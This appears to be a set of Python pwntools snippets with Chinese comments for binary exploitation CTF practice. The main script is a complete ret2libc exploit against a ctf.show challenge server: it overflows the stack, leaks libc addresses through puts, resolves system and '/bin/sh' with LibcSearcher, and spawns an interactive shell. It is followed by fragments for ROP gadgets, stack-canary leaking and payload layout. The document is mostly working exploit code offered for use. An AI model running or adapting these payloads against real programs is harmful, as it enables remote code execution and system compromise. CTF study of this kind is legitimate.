1
from pwn import *
2
from LibcSearcher import LibcSearcher
3

4
context(os='linux', arch='amd64', log_level='debug')
5

6
# 替换为你的题目地址
7
sh = remote('pwn.challenge.ctf.show', 28202)
8
elf = ELF('./pwn')
9
rop = ROP(elf)
10

11
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
12
main_addr = elf.sym['main']
13
puts_plt = elf.plt['puts']
14
offset = 0x78
15

16
def get_addr(func_name):
17
    payload = b'a' * offset
18
    payload += p64(pop_rdi)
19
    payload += p64(elf.got[func_name])
20
    payload += p64(puts_plt)
21
    payload += p64(main_addr)
22

23
    sh.sendlineafter(b'!', payload)
24

25
    # 关键点：puts 输出的是二进制流，末尾带 \n
26
    # 我们只接收前 6 字节，因为 64 位地址高位通常是 00
27
    addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
28
    return addr
29

30
# 1. 泄露多个地址以增加匹配精度
31
puts_addr = get_addr('puts')
32
log.success(f'Puts real addr: {hex(puts_addr)}')
33

34
# 此时程序回到了 main，再次触发泄露
35
libc_start_main = get_addr('__libc_start_main')
36
log.success(f'Libc_start_main real addr: {hex(libc_start_main)}')
37

38
# 2. 使用 LibcSearcher 进行匹配
39
# 传入多个条件可以极大地缩小范围
40
libc = LibcSearcher('puts', puts_addr)
41
libc.add_condition('__libc_start_main', libc_start_main)
42

43
# 如果匹配到多个，它会提示你选；如果没匹配到，会报错
44
try:
45
    libc_base = puts_addr - libc.dump('puts')
46
    system_addr = libc_base + libc.dump('system')
47
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')
48

49
    log.success(f'Libc Base: {hex(libc_base)}')
50
    log.success(f'System: {hex(system_addr)}')
51

52
    # 3. 最终 Payload (注意 64 位 system 栈对齐)
53
    ret = rop.find_gadget(['ret'])[0]
54
    payload = b'a' * offset
55
    payload += p64(ret) # stack alignment
56
    payload += p64(pop_rdi)
57
    payload += p64(bin_sh_addr)
58
    payload += p64(system_addr)
59

60
    sh.sendlineafter(b'!', payload)
61
    sh.interactive()
62

63
except Exception as e:
64
    print(f"[-] Libc matching failed: {e}")
65
    print("请检查泄露地址是否正确，或者尝试更新 LibcSearcher 数据库")

1
rop=ROP('./XXX')
2
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
3
ret = rop.find_gadget(['ret'])[0]

1
payload = b'A' * offset
2
payload += p64(ret)      #栈对齐使用
3
payload += p64(pop_rdi)
4
payload += p64(bin_sh)
5
payload += p64(system_plt)
6
64位二点简单rop使用ret2text

1
libc = LibcSearcher('puts', puts_addr)
2
libc_base = puts_addr - libc.dump('puts')
3
system_addr = libc_base + libc.dump('system')
4
binsh_addr  = libc_base + libc.dump('str_bin_sh')

1
canary = u64(canary_raw.rjust(8, b'\x00'))

1
p.sendline(payload1)
2
p.recvuntil(payload1)
3
leaked_canary = u64(p.recv(8).ljust(8, b'\x00')) - 0xa #sendline发送数据末尾有换行0xa

1
context(os='linux', arch='amd64', log_level='debug')

1
def describe_payload(name, parts):
2
    """
3
    打印 payload 分段布局，便于核对偏移。
4
    parts: [(字段名, bytes), ...]
5
    """
6
    off = 0
7
    log.info('%s layout:' % name)
8
    for field, chunk in parts:
9
        end = off + len(chunk) - 1
10
        log.info('  [0x%02x..0x%02x] len=%-2d %-18s %r' % (off, end, len(chunk), field, chunk))
11
        off += len(chunk)
12
    log.info('  total length = 0x%x (%d)' % (off, off))